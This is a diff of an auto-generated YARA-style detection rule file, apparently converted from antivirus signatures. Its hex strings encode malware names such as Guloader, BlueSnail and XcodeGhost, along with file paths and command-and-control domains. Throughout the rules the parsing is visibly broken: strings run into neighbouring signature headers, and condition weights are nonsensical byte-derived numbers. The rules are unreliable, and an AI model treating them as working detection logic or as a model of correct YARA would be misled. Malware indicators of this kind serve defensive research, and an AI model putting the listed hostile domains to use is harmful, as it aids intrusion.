6e 73 5c 48 61 72 64 68 65 61 64 65 64 6e 65 73 73 37 36 2e 69 6e } //28492 + $a_6e_12 = {6e 64 75 6c 67 65 6e 74 6c 79 2e 57 69 74 01 00 2b 81 01 23 5c 64 65 66 69 6e 61 62 6c 79 5c 46 65 6d 69 6e 6f 6c 6f 67 69 73 74 31 36 33 5c 4b 6f 6e 76 65 72 73 65 72 65 72 2e 53 63 69 01 00 2d 81 01 25 50 72 65 65 6c 65 63 74 72 69 63 61 6c 25 5c 54 72 } //23553 + $a_64_13 = {72 65 72 6e 65 5c 42 65 73 74 65 6d 6d 65 6c 73 65 6e 2e 46 69 6d 01 00 2a 81 01 5c 64 69 61 64 65 6d 73 5c 4c 61 62 79 72 69 6e 74 65 72 6e 65 73 5c 54 72 66 73 69 6b 6b 65 72 68 65 64 65 72 73 2e 69 6e 69 01 00 2e 81 01 25 6e 6f 6e 65 6e 76 69 61 62 6c 79 25 5c 4f 73 63 69 6c 6c 65 72 65 } //25205 + $a_6f_14 = {6f 6d 61 74 61 5c 4c 75 74 75 6c 65 6e 74 2e 52 61 6e 00 00 78 60 01 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4d 4e 45 31 32 33 21 4d 54 42 00 01 00 18 81 01 25 66 6f 6c 6b 65 72 65 74 6c 69 67 65 25 5c 55 6e 64 65 72 66 6f 6e 67 01 00 2b 81 01 5c 55 6f 70 73 74 74 65 6c 69 67 65 5c 4b 75 68 6e 69 61 31 35 35 5c } //19548 + $a_6e_15 = {65 73 6b 65 6c 69 67 67 72 65 73 2e 4f 72 63 01 00 2c 81 01 53 6f 66 74 77 61 72 65 5c 4c 61 6d 6d 6f 6e 64 5c 6e 65 70 68 72 61 6c 67 69 61 5c 6c 61 6e 74 75 6d 5c 50 61 72 61 62 69 65 6e 32 01 00 18 81 01 25 52 65 6e 65 77 65 64 25 5c 42 72 6f 62 75 65 6e 5c 62 65 72 6e 61 73 01 00 1f 81 01 25 54 65 } //27989 + $a_64_16 = {65 72 25 5c 46 69 6e 61 6e 63 69 65 72 65 5c 49 6e 67 65 6c 69 6c 73 01 00 31 81 01 25 53 6c 76 6b 72 65 6e 65 25 5c 50 61 72 61 67 72 61 66 72 79 74 74 65 72 6e 65 5c 53 63 72 65 65 76 65 5c 41 67 61 6c 61 77 6f 6f 64 2e 52 6b 76 01 00 3c 81 01 53 6f 66 74 77 61 72 65 5c 47 61 6e 67 73 74 65 72 76 6c 64 65 74 73 5c 54 68 65 6f } //24936 + condition: + ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*29285+(#a_61_2 & 1)*-32504+(#a_6b_3 & 1)*28520+(#a_47_4 & 1)*29801+(#a_39_5 & 1)*12358+(#a_31_6 & 1)*17219+(#a_44_7 & 1)*14647+(#a_5a_8 & 1)*-32492+(#a_39_9 & 1)*14178+(#a_64_10 & 1)*28492+(#a_6e_12 & 1)*23553+(#a_64_13 & 1)*25205+(#a_6f_14 & 1)*19548+(#a_6e_15 & 1)*27989+(#a_64_16 & 1)*24936) >=6 + +} +rule _InfrastructureShared_19542{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -222419,7 +236854,7 @@ rule _InfrastructureShared_18368{ ((#a_54_0 & 1)*18467+(#a_34_1 & 1)*12848+(#a_44_2 & 1)*13105+(#a_39_3 & 1)*12343+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_60_6 & 1)*0) >=7 } -rule _InfrastructureShared_18369{ +rule _InfrastructureShared_19543{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -222434,7 +236869,7 @@ rule _InfrastructureShared_18369{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*28777+(#a_72_2 & 1)*29554+(#a_6f_4 & 1)*9473+(#a_66_5 & 1)*25956+(#a_62_6 & 1)*29250) >=7 } -rule _InfrastructureShared_18370{ +rule _InfrastructureShared_19544{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -222450,7 +236885,7 @@ rule _InfrastructureShared_18370{ ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*23605+(#a_5c_2 & 1)*25973+(#a_73_3 & 1)*28257+(#a_90_4 & 1)*83+(#a_66_5 & 1)*400+(#a_8d_6 & 1)*1025) >=7 } -rule _InfrastructureShared_18371{ +rule _InfrastructureShared_19545{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -222467,7 +236902,7 @@ rule _InfrastructureShared_18371{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*-17818+(#a_ba_2 & 1)*1025+(#a_48_3 & 1)*400+(#a_00_4 & 1)*-17818+(#a_50_5 & 1)*25971+(#a_63_6 & 1)*29812+(#a_74_7 & 1)*28486) >=8 } -rule _InfrastructureShared_18372{ +rule _InfrastructureShared_19546{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -222484,7 +236919,7 @@ rule _InfrastructureShared_18372{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*26983+(#a_6d_2 & 1)*26670+(#a_38_3 & 1)*13877+(#a_4f_4 & 1)*19789+(#a_66_5 & 1)*26475+(#a_66_6 & 1)*-32482+(#a_64_7 & 1)*26214) >=8 } -rule _InfrastructureShared_18373{ +rule _InfrastructureShared_19547{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -222499,7 +236934,7 @@ rule _InfrastructureShared_18373{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*26214+(#a_66_2 & 1)*26219+(#a_68_3 & 1)*26483+(#a_01_6 & 1)*28443+(#a_52_7 & 1)*29541) >=8 } -rule _InfrastructureShared_18374{ +rule _InfrastructureShared_19548{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -222514,7 +236949,23 @@ rule _InfrastructureShared_18374{ ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*-28561+(#a_02_2 & 1)*-28662+(#a_00_4 & 1)*656+(#a_00_6 & 1)*28443+(#a_32_7 & 1)*9217) >=8 } -rule _InfrastructureShared_18375{ +rule _InfrastructureShared_19549{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 08 00 21 " + + strings : + $a_46_0 = {50 55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 6e 33 32 2f 4f 6e 65 50 6c 61 74 66 6f 72 6d 2e 41 32 00 05 00 20 01 63 00 6c 00 6f 00 75 00 64 00 66 00 72 00 6f 00 6e 00 74 00 2e 00 6e 00 65 00 74 00 2f 00 6f 00 01 00 24 01 63 00 } //16675 + $a_00_1 = {75 00 64 00 66 00 72 00 6f 00 6e 00 74 00 2e 00 6e 00 65 00 74 00 2f 00 7a 00 62 00 64 00 01 00 20 01 63 00 6c 00 6f 00 75 00 64 00 66 00 72 00 6f 00 6e 00 74 00 2e 00 6e 00 65 00 74 00 2f 00 66 00 01 00 24 01 63 00 68 00 65 00 63 00 6b 00 5f 00 6f 00 66 00 66 00 65 00 72 00 5f 00 72 00 65 00 73 00 75 00 6c 00 74 00 01 00 1e 01 4f } //108 + $a_00_3 = {44 00 69 00 73 00 63 00 6c 00 61 00 69 00 6d 00 65 00 72 00 01 00 34 01 22 00 75 00 73 00 65 00 72 00 5f 00 72 00 65 00 73 00 70 00 6f 00 6e 00 73 00 65 00 22 00 3a 00 20 00 22 00 61 00 63 00 63 00 65 00 70 00 74 00 65 00 64 00 01 00 1a 01 6f 00 66 00 66 00 65 00 72 00 5f 00 70 00 72 00 6f 00 64 00 75 00 63 00 74 00 01 00 1c 01 50 00 72 00 } //101 + $a_00_4 = {44 00 69 00 73 00 63 00 6c 00 61 00 69 00 6d 00 65 00 72 00 00 00 78 60 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 56 56 55 31 32 33 21 4d 54 42 00 01 00 1d 81 01 66 6f 72 73 74 75 65 73 20 64 65 76 6f 75 72 6d 65 6e 74 20 65 6d 69 67 72 61 74 65 64 } //111 + $a_81_5 = {61 66 74 65 6e 73 6b 6f 6c 65 6e 73 } //1 aftenskolens + $a_81_6 = {61 6c 6c 6f 74 72 69 6f 64 6f 6e 74 69 61 20 63 61 6d 6f 75 66 6c 65 72 65 6e 64 65 } //1 allotriodontia camouflerende + $a_81_7 = {25 62 61 63 74 65 72 69 61 25 5c 61 72 62 65 6a 64 73 61 72 65 61 6c 65 72 6e 65 73 2e 43 72 6f 35 32 } //1 %bacteria%\arbejdsarealernes.Cro52 + condition: + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*108+(#a_00_3 & 1)*101+(#a_00_4 & 1)*111+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1) >=9 + +} +rule _InfrastructureShared_19550{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -222532,7 +236983,7 @@ rule _InfrastructureShared_18375{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*24833+(#a_72_2 & 1)*25441+(#a_2e_3 & 1)*24942+(#a_6f_4 & 1)*25970+(#a_2e_5 & 1)*17153+(#a_00_7 & 1)*66+(#a_45_8 & 1)*21072+(#a_36_9 & 1)*13123) >=10 } -rule _InfrastructureShared_18376{ +rule _InfrastructureShared_19551{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -222551,7 +237002,7 @@ rule _InfrastructureShared_18376{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*29281+(#a_73_2 & 1)*29230+(#a_00_4 & 1)*116+(#a_36_5 & 1)*14145+(#a_67_6 & 1)*26994+(#a_01_7 & 1)*1792+(#a_21_8 & 1)*13105+(#a_02_9 & 1)*-28575+(#a_07_10 & 1)*4874) >=11 } -rule _InfrastructureShared_18377{ +rule _InfrastructureShared_19552{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -222573,7 +237024,7 @@ rule _InfrastructureShared_18377{ ((#a_54_0 & 1)*18467+(#a_31_1 & 1)*14131+(#a_72_2 & 1)*21349+(#a_54_3 & 1)*13682+(#a_54_4 & 1)*18467+(#a_02_5 & 1)*24842+(#a_02_6 & 1)*-28527+(#a_11_7 & 1)*4874+(#a_11_8 & 1)*2067+(#a_19_9 & 1)*22634+(#a_31_10 & 1)*17208+(#a_72_11 & 1)*25705+(#a_00_12 & 1)*72) >=13 } -rule _InfrastructureShared_18378{ +rule _InfrastructureShared_19553{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 04 00 21 " @@ -222586,7 +237037,7 @@ rule _InfrastructureShared_18378{ ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*24842+(#a_02_2 & 1)*-28527+(#a_11_3 & 1)*4874) >=15 } -rule _InfrastructureShared_18379{ +rule _InfrastructureShared_19554{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,65 00 65 00 06 00 21 " @@ -222600,7 +237051,7 @@ rule _InfrastructureShared_18379{ ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*12855+(#a_00_2 & 1)*55+(#a_00_4 & 1)*80+(#a_00_5 & 1)*114) >=101 } -rule _InfrastructureShared_18380{ +rule _InfrastructureShared_19555{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -222612,7 +237063,7 @@ rule _InfrastructureShared_18380{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*116+(#a_41_3 & 1)*11568) >=2 } -rule _InfrastructureShared_18381{ +rule _InfrastructureShared_19556{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -222624,7 +237075,7 @@ rule _InfrastructureShared_18381{ ((#a_46_0 & 1)*21283+(#a_6f_1 & 1)*24403+(#a_74_2 & 1)*24371) >=2 } -rule _InfrastructureShared_18382{ +rule _InfrastructureShared_19557{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -222638,7 +237089,7 @@ rule _InfrastructureShared_18382{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*115+(#a_00_2 & 1)*105+(#a_00_3 & 1)*76+(#a_06_4 & 1)*20480) >=3 } -rule _InfrastructureShared_18383{ +rule _InfrastructureShared_19558{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -222650,7 +237101,7 @@ rule _InfrastructureShared_18383{ ((#a_54_0 & 1)*18467+(#a_b7_2 & 1)*5925+(#a_1a_3 & 1)*3091) >=4 } -rule _InfrastructureShared_18384{ +rule _InfrastructureShared_19559{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -222662,7 +237113,7 @@ rule _InfrastructureShared_18384{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*-24284+(#a_01_3 & 1)*-31349) >=4 } -rule _InfrastructureShared_18385{ +rule _InfrastructureShared_19560{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -222678,7 +237129,7 @@ rule _InfrastructureShared_18385{ ((#a_54_0 & 1)*18467+(#a_76_1 & 1)*29265+(#a_61_2 & 1)*28780+(#a_7a_3 & 1)*22597+(#a_65_4 & 1)*25970+(#a_65_5 & 1)*28001+(#a_5c_6 & 1)*385) >=8 } -rule _InfrastructureShared_18386{ +rule _InfrastructureShared_19561{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -222695,7 +237146,7 @@ rule _InfrastructureShared_18386{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*27506+(#a_25_2 & 1)*-32472+(#a_6e_3 & 1)*31084+(#a_62_4 & 1)*27756+(#a_00_5 & 1)*9+(#a_6e_6 & 1)*27247+(#a_01_7 & 1)*4608) >=8 } -rule _InfrastructureShared_18387{ +rule _InfrastructureShared_19562{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -222713,7 +237164,7 @@ rule _InfrastructureShared_18387{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29285+(#a_00_2 & 1)*48+(#a_00_3 & 1)*48+(#a_00_4 & 1)*114+(#a_4a_5 & 1)*21072+(#a_01_6 & 1)*28520+(#a_37_7 & 1)*11619+(#a_61_8 & 1)*30321) >=9 } -rule _InfrastructureShared_18388{ +rule _InfrastructureShared_19563{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -222732,7 +237183,7 @@ rule _InfrastructureShared_18388{ ((#a_54_0 & 1)*18467+(#a_de_1 & 1)*1800+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_61_7 & 1)*0+(#a_01_8 & 1)*12390+(#a_00_9 & 1)*29541) >=10 } -rule _InfrastructureShared_18389{ +rule _InfrastructureShared_19564{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -222748,7 +237199,7 @@ rule _InfrastructureShared_18389{ ((#a_54_0 & 1)*18467+(#a_39_1 & 1)*25912+(#a_6f_2 & 1)*25970+(#a_01_3 & 1)*6912+(#a_44_4 & 1)*17776+(#a_00_6 & 1)*114+(#a_00_7 & 1)*116) >=10 } -rule _InfrastructureShared_18390{ +rule _InfrastructureShared_19565{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -222766,7 +237217,7 @@ rule _InfrastructureShared_18390{ ((#a_54_0 & 1)*18467+(#a_43_1 & 1)*28740+(#a_00_2 & 1)*67+(#a_00_4 & 1)*108+(#a_2f_5 & 1)*18771+(#a_00_7 & 1)*87+(#a_6f_8 & 1)*400+(#a_38_9 & 1)*400+(#a_1b_10 & 1)*3582) >=11 } -rule _InfrastructureShared_18391{ +rule _InfrastructureShared_19566{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0c 00 04 00 21 " @@ -222778,7 +237229,7 @@ rule _InfrastructureShared_18391{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*117+(#a_01_2 & 1)*3838) >=12 } -rule _InfrastructureShared_18392{ +rule _InfrastructureShared_19567{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 11 00 21 " @@ -222800,7 +237251,7 @@ rule _InfrastructureShared_18392{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25436+(#a_28_2 & 1)*25445+(#a_62_3 & 1)*28260+(#a_72_5 & 1)*384+(#a_01_6 & 1)*5120+(#a_64_7 & 1)*26470+(#a_6a_9 & 1)*384+(#a_74_10 & 1)*25412+(#a_00_12 & 1)*104+(#a_00_14 & 1)*86+(#a_00_15 & 1)*61+(#a_6e_16 & 1)*21050) >=17 } -rule _InfrastructureShared_18393{ +rule _InfrastructureShared_19568{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 12 00 21 " @@ -222825,7 +237276,7 @@ rule _InfrastructureShared_18393{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*26478+(#a_72_2 & 1)*384+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_80_8 & 1)*1+(#a_80_9 & 1)*1+(#a_80_10 & 1)*1+(#a_80_11 & 1)*1+(#a_80_12 & 1)*1+(#a_61_13 & 1)*0+(#a_00_14 & 1)*99+(#a_00_16 & 1)*52) >=18 } -rule _InfrastructureShared_18394{ +rule _InfrastructureShared_19569{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 04 00 21 " @@ -222836,7 +237287,7 @@ rule _InfrastructureShared_18394{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*65) >=20 } -rule _InfrastructureShared_18395{ +rule _InfrastructureShared_19570{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,36 00 2c 00 09 00 21 " @@ -222854,7 +237305,7 @@ rule _InfrastructureShared_18395{ ((#a_46_0 & 1)*16675+(#a_80_1 & 1)*10+(#a_80_2 & 1)*10+(#a_80_3 & 1)*10+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_62_8 & 1)*0) >=44 } -rule _InfrastructureShared_18396{ +rule _InfrastructureShared_19571{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -222867,7 +237318,25 @@ rule _InfrastructureShared_18396{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*29751+(#a_00_2 & 1)*111+(#a_01_3 & 1)*-28672) >=1 } -rule _InfrastructureShared_18397{ +rule _InfrastructureShared_19572{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0a 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 42 6c 75 65 53 6e 61 69 6c 2e 47 21 64 68 61 00 01 00 1a 80 01 5b 52 65 6e 61 6d 65 5d 20 45 72 72 3a 20 25 73 2c 20 42 6f 64 79 3a 20 25 73 01 00 1b 80 01 5b 52 65 6e 61 6d 65 5d 20 43 6f } //16675 + $a_20_1 = {64 2c 20 42 6f 64 79 3a 20 25 73 01 00 1d 80 01 5b 47 65 74 46 69 6c 65 5d 20 42 61 63 6b 20 53 74 61 74 75 73 43 6f 64 65 3a 20 25 64 01 00 1b 80 01 5b 50 75 74 46 69 6c 65 } //25956 + $a_72_2 = {3a 20 25 73 2c 20 42 6f 64 79 3a 20 25 73 01 00 1d 80 01 5b 50 75 74 46 69 6c 65 5d 20 42 61 63 6b 20 53 74 61 74 75 73 43 6f 64 65 3a 20 25 64 01 00 0e 80 01 5b 53 74 61 74 5d 20 45 72 72 3a 20 25 64 01 00 } //8285 + $a_5b_3 = {74 } //-32754 t + $a_20_4 = {72 72 3a 20 25 73 01 00 1d 80 01 5b 44 65 6c 65 74 65 44 69 72 5d 20 45 72 72 3a 20 25 73 2c 20 42 6f 64 79 3a 20 25 73 01 00 27 80 01 5b 44 65 6c 65 74 65 44 69 72 5d 20 42 61 63 6b 20 53 74 61 74 75 73 43 6f 64 65 3a 20 25 64 20 45 72 72 3a 20 25 73 01 00 1b 80 01 5b 4c 69 73 } //29793 + $a_72_5 = {20 45 72 72 3a 20 25 73 2c 20 42 6f 64 79 3a 20 25 73 00 00 78 62 01 00 01 00 01 00 0d 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 58 63 6f 64 65 47 68 6f 73 74 21 64 6f 6d 61 69 6e 00 01 00 1f 00 68 74 74 70 3a 2f 2f 69 6e 69 74 2e 69 63 6c 6f 75 64 2d 61 6e 61 6c 79 73 69 73 2e 63 6f 6d 01 00 1e 00 68 74 74 70 3a } //17524 + $a_6e_6 = {74 2e 63 72 61 73 68 2d 61 6e 61 6c 79 73 69 73 2e 63 6f 6d 01 00 22 00 68 74 74 70 3a 2f 2f 69 6e 69 74 2e 69 63 6c 6f 75 64 2d 64 69 61 67 6e 6f 73 74 69 63 73 2e 63 6f 6d 01 00 28 01 68 00 74 00 70 00 73 00 3a 00 2f 00 69 00 6e 00 2e 00 63 00 72 00 61 00 2d 00 6c 00 79 00 6f 00 6d 00 75 00 64 00 67 00 01 00 26 } //12079 + $a_00_8 = {72 00 62 00 6f 00 79 00 70 00 49 00 44 00 63 00 6e 00 6c 00 66 00 69 00 6d 00 76 00 75 00 01 00 0a 01 61 6c 6c 73 64 6b 2e 6f 72 67 01 00 0d 01 32 73 68 6f 75 62 61 6e 67 2e 63 6f 6d 01 00 0a 01 69 6f 73 73 64 6b 2e 6f 72 67 01 00 0a 01 73 64 6b 64 65 76 2e 6e 65 74 01 00 0b 01 69 6f 73 74 6f 6f 6c } //97 + $a_6d_9 = {00 0e 01 78 79 7a 68 75 73 68 6f 75 2e 69 6e 66 6f 01 00 08 01 6b 79 74 72 2e 70 75 62 01 00 0c 01 35 30 2e 36 33 2e 32 30 32 2e 34 38 00 00 01 00 78 62 01 00 02 00 02 00 04 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 6b 61 70 70 66 72 65 65 5f 32 00 01 00 2c 03 6b 61 70 70 66 72 65 65 2e 64 6c 6c 90 19 } //25390 + condition: + ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*25956+(#a_72_2 & 1)*8285+(#a_5b_3 & 1)*-32754+(#a_20_4 & 1)*29793+(#a_72_5 & 1)*17524+(#a_6e_6 & 1)*12079+(#a_00_8 & 1)*97+(#a_6d_9 & 1)*25390) >=1 + +} +rule _InfrastructureShared_19573{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0d 00 21 " @@ -222887,7 +237356,7 @@ rule _InfrastructureShared_18397{ ((#a_54_0 & 1)*18467+(#a_79_1 & 1)*24942+(#a_00_2 & 1)*112+(#a_74_3 & 1)*28206+(#a_65_4 & 1)*29286+(#a_00_6 & 1)*87+(#a_09_8 & 1)*11408+(#a_2d_9 & 1)*14637+(#a_00_10 & 1)*2448+(#a_2d_11 & 1)*2305+(#a_41_12 & 1)*20526) >=1 } -rule _InfrastructureShared_18398{ +rule _InfrastructureShared_19574{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -222900,7 +237369,7 @@ rule _InfrastructureShared_18398{ ((#a_46_0 & 1)*16675+(#a_03_1 & 1)*1+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1) >=2 } -rule _InfrastructureShared_18399{ +rule _InfrastructureShared_19575{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -222912,7 +237381,7 @@ rule _InfrastructureShared_18399{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*13824+(#a_00_3 & 1)*108) >=5 } -rule _InfrastructureShared_18400{ +rule _InfrastructureShared_19576{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 09 00 21 " @@ -222927,7 +237396,7 @@ rule _InfrastructureShared_18400{ ((#a_6c_0 & 1)*16675+(#a_00_2 & 1)*78+(#a_00_4 & 1)*115+(#a_00_5 & 1)*95+(#a_01_7 & 1)*30720+(#a_72_8 & 1)*28271) >=7 } -rule _InfrastructureShared_18401{ +rule _InfrastructureShared_19577{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -222943,7 +237412,7 @@ rule _InfrastructureShared_18401{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*28787+(#a_6a_2 & 1)*28257+(#a_2e_3 & 1)*27756+(#a_6e_4 & 1)*29808+(#a_65_5 & 1)*11777+(#a_74_7 & 1)*4096) >=8 } -rule _InfrastructureShared_18402{ +rule _InfrastructureShared_19578{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0e 00 21 " @@ -222966,7 +237435,7 @@ rule _InfrastructureShared_18402{ ((#a_54_0 & 1)*18467+(#a_6a_1 & 1)*20325+(#a_54_2 & 1)*25968+(#a_61_3 & 1)*27393+(#a_66_4 & 1)*385+(#a_67_5 & 1)*26994+(#a_65_6 & 1)*25965+(#a_73_7 & 1)*25972+(#a_01_8 & 1)*7936+(#a_65_9 & 1)*26489+(#a_72_10 & 1)*28526+(#a_72_11 & 1)*28767+(#a_01_12 & 1)*-29947+(#a_90_13 & 1)*513) >=8 } -rule _InfrastructureShared_18403{ +rule _InfrastructureShared_19579{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -222985,7 +237454,7 @@ rule _InfrastructureShared_18403{ ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*24946+(#a_6e_2 & 1)*11892+(#a_01_3 & 1)*25701+(#a_61_4 & 1)*30051+(#a_2e_5 & 1)*28258+(#a_74_6 & 1)*25455+(#a_32_7 & 1)*28265+(#a_01_8 & 1)*-251+(#a_0c_9 & 1)*-31996) >=10 } -rule _InfrastructureShared_18404{ +rule _InfrastructureShared_19580{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -223004,7 +237473,7 @@ rule _InfrastructureShared_18404{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*25957+(#a_2d_2 & 1)*-32471+(#a_33_3 & 1)*24937+(#a_65_4 & 1)*26988+(#a_4b_5 & 1)*24378+(#a_90_6 & 1)*1281+(#a_77_7 & 1)*16675+(#a_00_8 & 1)*144+(#a_5c_9 & 1)*-14845) >=10 } -rule _InfrastructureShared_18405{ +rule _InfrastructureShared_19581{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -223015,7 +237484,7 @@ rule _InfrastructureShared_18405{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*1281) >=2 } -rule _InfrastructureShared_18406{ +rule _InfrastructureShared_19582{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -223028,7 +237497,7 @@ rule _InfrastructureShared_18406{ ((#a_77_0 & 1)*16675+(#a_00_1 & 1)*144+(#a_5c_2 & 1)*-14845+(#a_90_3 & 1)*-1) >=4 } -rule _InfrastructureShared_18407{ +rule _InfrastructureShared_19583{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -223042,7 +237511,7 @@ rule _InfrastructureShared_18407{ ((#a_46_0 & 1)*16675+(#a_39_1 & 1)*12297+(#a_66_2 & 1)*29551+(#a_00_3 & 1)*144+(#a_6d_4 & 1)*28163) >=4 } -rule _InfrastructureShared_18408{ +rule _InfrastructureShared_19584{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0c 00 21 " @@ -223061,7 +237530,7 @@ rule _InfrastructureShared_18408{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*97+(#a_6c_3 & 1)*25449+(#a_69_4 & 1)*25441+(#a_2e_5 & 1)*25972+(#a_6e_6 & 1)*29298+(#a_6e_7 & 1)*27493+(#a_00_8 & 1)*115+(#a_72_9 & 1)*27393+(#a_00_11 & 1)*69) >=4 } -rule _InfrastructureShared_18409{ +rule _InfrastructureShared_19585{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -223075,7 +237544,7 @@ rule _InfrastructureShared_18409{ ((#a_46_0 & 